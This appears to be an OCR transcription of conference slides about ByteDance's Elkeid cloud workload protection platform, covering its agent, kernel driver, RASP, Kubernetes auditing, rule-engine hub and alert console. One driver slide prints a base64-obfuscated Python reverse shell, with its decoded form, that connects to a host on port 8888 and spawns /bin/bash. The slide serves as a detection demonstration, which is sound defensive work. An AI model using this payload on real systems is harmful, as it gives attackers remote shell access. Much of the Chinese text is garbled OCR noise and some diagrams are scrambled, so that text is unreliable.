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Evolution of Workload Abstractions

Physical

« Monolithic
applications

« Physical servers as Virtual Machines

unit of scaling ) . .
» Hypervisor virtualizes

» Lifespan of years the hardware

« VMs as unit of scaling
« Months to years

Source: Gartner

716192 _C
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Containers

» Virtualizes the OS

« Applications/services
as unit of scaling

« Minutes to days

Serverless

- Virtualizes the
application runtime

» Resources as unit of
scaling

» Seconds to minutes

Gartner

GOTC



p ZTHERRZLHERNTA

Evolution of Workload Abstractions

Physical

- RABER;
. B, ANER;

- BERREERFEERK;

%, REBERRM

Virtual Machines

- EMMRETISRIEE,

RZEXEETRS;

- HthFREARSYENR

%_& o

HEEERERTT, NLEHENDHEREM

ks, W RARE,
fRINF

Source: Gartner

716192 _C
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RUENIBIRS LR, X

BIAKE,

Containers

« BHRENZLEENFRS
TR

« (ERERMERLEENTHIAE
TR

- AREAREHASWBS]
ATHBNGE: NEEER
£, FREHURAE,

Serverless

- EBXREEh, PREREN,

BETHRE. E=REN
BRERRSHEFRE;

« RPIBFEENEM: AR

BESHIREE;

© EMAMXRAIEIEN:

EaEMRE, TEEN
A

8
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BEBER: HAREIZABERE—" Workload A9
X&, mEKsMEER Workload EM{E—



P Elkeid - https://github.com/bytedance/Elkeid GOTC

ELKEID A FRESH START

e START Elkeid MBI, EUEE @ NEW SECTION Elkeid FHATEHRIEES . RIS
s ol ‘ UEBA, \BEHHMESHEIMARN;
FoRE-RRSRE-ENR | 7. BRRBAENSEE = RS Elkeid FHAT S
SHPART, AETHkED A BRANENR RS RASP. Sandbox. Honeypot
HFERBN B S IR, xR SR . CRERS. WESIE; #
KRS SMEITSER ENESEI T B ARATEE
& @ @ & ®
2019 2020 2021 2022 NOW
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RAIBERS R - Elkeid

/ The Same Agent

HIIBENRZE, FEKLE, RASP, BHETIMMNAE
71, EMEEDE mART A EMRE—Agent L,
A LAUEE e ENEERIPEENS Z LSS, 1B

AURREERAIBE
Appn| ..
App1||App2| .. App1||App2| ..
libs libs
Container 1 Container 2 libs

GOTC

Cache And DB

RuleEngine

Service Discover

Managers

w

RASP

HIDS

I K8S IDS

Response

Elkeid CWPP

The Same Platform

HARAEFmEHER, MBREN—ERE,

Operating System
Platform (Hardware) J
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GHEEENESHIRE,
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) i FAEHNA GOTC

3. MAEIRFEARIE
4. RAZIFER

1. EFER, BE
f \ Heat 2. fA#5 server {&(E
f l‘-‘ komoispace  \ / QEEUNENWEEEN  userspace N\ | .

Container \

Application

Elkeid RASP

".u 1. 2#¥ Java/Python/Golang/Node.js
2. HEEEIRFEARIE

3. IBZRRER
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) Elkeid Driver GOTC

Z53 K a2 HIERIUE;

EERAERT,
i BT B - rTE—
gg;gﬁﬁ?w o EHERIEHNEATTE. AISRRE, &
7OMB; D o REEREEEAL NI Of Z;@E’@ﬁfﬁf
o VEBEEBRLNIERZSRT/10; ER, WBLE,
+ RERESEIMASRIEEN XfralE, sl
2 2 AR BT LU
T STREER, AR

12006 EEEE B MEIEAPTALR ERAR @mxiﬁ?

ESEITETRR, BRESErSER syscall B8,

T A0 B NS R %

ANITHEERBRRBE, BREAREEEN
“BE—R" ; RingQEXMBIEBRE.
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) Elkeid Driver GOTC

python -c "exec(__import__('base64').b64decode(__import__( socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
'codecs').getencoder('utf-8"') ('aWlwb3JOIHNvY2t1dCAgICAgLCA connect(3, {sa_family=AF_INET, sin_port=htons(8888),
gICAgICBzdWIwcm9jZXNzICAgICASICAgICAgIG9zICAgICAgICA7ICAgI [ dup2(3, @) )
CAgICBob3N@OPSIXMC4yMjcuMjkuMjQzIiAgICAgICAgOyAgICAQICAQCGY [ dup2(3, 1)
ydD040Dg4ICAgICAgICA7ICAgICAgICBzPXNVY2t1dC5zb2NrZXQoc29ja g dup2(3, 2)
2VOLKFGX@10RVQgICAgICwgICAgICAgCc29ja2VOLINPQOt fUIRSRUFNKSA Wl pipe([4, 5]1)
gICAgICAgOyAgICAgICAgcy5jb25uZWNOKChob3NOICAgICASICAgICAgGI fcntl(4, F_GETFD)
HBvcnQpKSAgICAgQICAgOyAgICAgICAgb3MuZHVWMihzLmZpbGVubygpICA @l fcnt1l (4, F_SETFD, FD_CLOEXEC)
gICASICAgICAQIDApICAgICAgICA7ICAgICAgICBvcySkdXAyKHMuZmlsZ fcnt1(5, F_GETFD)
W5vKCkgICAQICwgICAgICAgMSkgICAgQICAQIDsgICAgICAgIG9zLmR1cDI fentl (5, F_SETFD, FD_CLOEXEC)
ocy5maWx 1bm8oKSAgICAgLCAgICAgICAYKSAgICAgICAgOyAgICAgICAgC clone(strace: Process 2280077 attached
D1zdWJIwcm9j 2XNzLmNhbGwoIi9iaW4vYmFzaCIp') [0]))" child_stack=NULL, flags=CLONE_CHILD_CLEARTIDICLONE_C
[pid 2280077] set_robust_list(@x7flce@e@dd8a@, 24) =
socket, subprocess, os; [pid 2280077] getpid() 2280077
host-! b [pid 2280075] close(5) =0
port=8888; [pid 2280077] close(4) =0
s-socket.socket(socket.AF_INET,socket.SOCK_STREAM); [pid 2280075] mmap(NULL, 1052672, PROT_READ|PROT_WRI
s.connect((hos,port)); [pid 2280075] read(4, <unfinished ...>
os.dup2(s.fileno(),0); [pid 2280077] XM ("/bin/bash", ["/bin/bash"], [/*
os.dup2(s.fileno(),1); [pid 2280075] <... read resumed> "", 1048576) = @
0s.dup2(s.fileno(),2); ) [pid 2280075] mremap(@x7f1cdf11b000, 1052672, 4096,
p-subprocess. call("/bin/bash")| [pid 22800777 <. .. resumed> ) = 0

ERAFEEARIES
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) Elkeid RASP(Runtime Application Self-protection)




) Elkeid RASP(Runtime Application Self-protection) GOTC

Host Container
rr )

Applications Applications
RASP Probe RASP Probe

L A A P

o
<

Elkeid Agent <}

> Elkeid RASP <

Other Plugins |<i—

EXRABRBEARIES
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Backend |

e e e )

A-'

Data
Tunnel

Accept RASP Ctrl Cmd.
Pass over Ctrl Cmd.
Pack and upload data

Ctrl.
Cmd.

Monitoring across
containers
Dynamically inject
RASP Probe

RASP Probe -\/

Application
Process

Hook function
Block access
Hot patch



) Elkeid K8s Auditing Security GOTC

kubelet . kubectl
controller API

scheduler - console

‘ ‘ ~ 1 0

l D - -
] 11111 Security Alerts

Data Collecti Consumption - -

e -Hm)— B &\
| = &
iinnnn

API Server Log Services Rule Engine I SecOps

—alll] —

Risk Assessments
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) Elkeid HUB GOTC

Core Components

o INPUT BUIBBWAE, HEXIRIX3ZIFKafka

 RULEENGINE/RULESET ¥R 1THIN/IMSREIBEX T/ BB LM BB AR OB 15
o OUTPUT BUBHIWE, HEAR{NZIFKafka/ES

o SMITH_DSL FASRIEABIERIEXR

Application Scenarios

e Simple HIDS
P T T T Tt T T T T T T T T T T T
: Elkeid HUB [
I I
: HUB RuleEngine :
: I
I HIDS RuleSets :
Kafka ——Host Probe Data 1% HUB INPUT > —Alert—>| OUTPUT [T Kafka® Security Center

I |
I

| HIDS RuleSets :
I |
I I
I |
l ------ I
! I
I I
I |

EXRABRBEARIES
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) Elkeid HUB

¢ |IDS Like Scenarios

Elkeid HUB

CMDB

Threat Intelligence

olle

HUB RuleEngine

—Data® Blacklist Rule

HUB RuleEngine

Whitelist Rule

HUB RuleEngine

Data Enrichment

rtion

Other External Data

EXRABRBEARIES
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HUB RuleEngine |—> WAF
Black IP
Custom Plugin :
: - Alert Bot
I l
Alert Data I
|
|
OUTPUT Security Center




) Elkeid HUB GOT

» Multiple input and output scenarios

|

I

|

|

: HUB INPUT A HUB INPUT B Elkeid HUB

|

I | |

1 Data Data

1 Y Y

: HUB RuleEngine HUB RuleEngine HUB RuleEngine HUB RuleEngine
|

| > -

| Ruleset A = Ruleset A1 Ruleset B Ruleset C
|

|

I

|

I

: HUB RuleEngine

|

! > OUTPUT A OUTPUT B
: Ruleset A2

|

1

I

|
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) Elkeid HUB GOTC

- REZSTESMHEEF;

- XFZHENE, debug;

- BHPF, workspace,
projectEZHE =18,

- XFFHEENXEMY,

EXRABRBEARIES
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p ARG

Elkeid
: Prometheus Exporter
- N\ ) | e
K8S Clusters I : | r____________l r____________l
| : AgentCenter Cluster :——Data—bl Kafka Cluster |——Data—>I Offline Data Cluster |
Master Node Worker Node | 1 I aeo I : e e e o —— —— | Lo e e e e —— |
1 gentCenter
- | | I | oy |
API Server Pods = |
- 1 HUB Cluster I
| h I AgentCenter I \ I MongoDB Cluster < ! :
I =
L V : : | e e o e o oo I : Elkeid HUB :
. Il eeme—me—————————— | | e
K8S Audit Data P I ...... I i r I DT Rutesets g
- : = I ! I I Redis Cluster < ) R e [
Linux KernelSpace I Linux UserSpace | e TR e e |“*4Data—i :
I | | . I
A = | Register | I Elkeid HUB I |
Container | [P — Yoo 1 P — i I :
c Ctrl & Data 1 - | Ctrl | | | H
Tt | ServiceDiscovery Cluster 1 Manager Cluster | [ s
Applications I : i : I | :
I : I ServiceDiscovery I : : I Manager I : Data P ST TP |
Elkeid RASP | | | | .y
I | | Ctrl
| ; :
l<1— ] |
| : I ServiceDiscovery I 1 Register H I Manager I | mm—————e R I
1 I 1 | I
- - I : : : : :—-— ‘-—f\—-: Leader Cluster I
I
Elkeid Driver f<—Lt1 I i I ...... I | 1 I I . : i
: —>1 Elkeid Agent I : : : : | I Leader | :
|
1
I | A R R I—-( Manager API )——l : :
1 (]
. e speiemes L ; | Leader | i
; | | :
: | I HIDS Console FrontEnd I : I I |
| I
E ' ' '
] - LogWatcher | e : -( Leader API )— =
! | -I
: N 1 Register T
I
L 1 ¥ | I HUB FrontEnd I
|
Linux Host I
P PR PU .. (S PR
|
Prometheus Alert g -t Alert: : Pr h Cluster ——Metrics—] Grafana
oo |
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) Elkeid Console GOTC

E Cloud workload protection platform  community edtion via1 English v admin

IS Cloud workload protection platform  community dition vi.a1 English v admin

ﬁ Cloud workload protection platform  Community Esition vi9.1 English ~  admin
Overview
Alert overview
Resource center ¥
Host and container p... Pending alerts ® Emergency 0 o Medium risk 0 et erets SRELEL M Bt uee
7 ® Highrisk 7 ® Lowrisk 0 0 0
Intrusion detection
* List of alerts
= Alert content
© Whitelist
Risk prevention v Occurrence time - Qccurrence time =] C
Application runtime p... ¥ Please select a filter and search (o}
v
Container cluster pro... - it s Affecting assets Alert type 57 evel 57 Status 57 Time of occurrence Operation
Virus scan 3 F i
iZt4nblv4nrz6k1ki9jsupZ 2023-04-10
Reverse shell ‘l = 10.00 2;; " Code execution # High risk © Pending processing 20:33:08 Abstract Processing
Intranet .0.0. 1331
System Management
v iZtanblvanrzBk1ki9jsupZ 2023-04-10
System monitoring ] Reverse shell raret] 10.0.0:212 Code execution ® High risk @ Pending processing 20:32:08 Abstract  Processing
Reverse shell ptasleliak o Code execution © High risk © Pending processin 2028 0410 Abstract  Processint
i
intvanat 10.0.0.212 d e a 20:32:23 9
iZt4nblvanrzBk1kijsupZ 2023-04-10
Reverse shell Code exacution ® High risk © Pending processing Abstract  Processing
Intranet | 10.0.0.212 19:52:08
iZt4nbaus3n077bpacicByZ 7 e o - % 2023-04-10 o
Reverse shell Code execution ® High risk © Pending processing Abstract  Processing
Intranet | 10.0.0.211 19:13:28
iZt4nbaus3n077bpocicByZ " o n 5 2023-04-10 ‘
Reverse shell o Ui Code execution ® High risk © Pending processing 18:59:50 Abstract  Processing
iZt4nbaus3n077bpocicByZ o N 2023-04-10
Raverse shall Code exacution  High risk © Pending procassing Abstract  Procassing
Intranet | 10.0.0.211 18:59:22
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GOTC

THANKS

https : //github . com/bytedance/Elkeid
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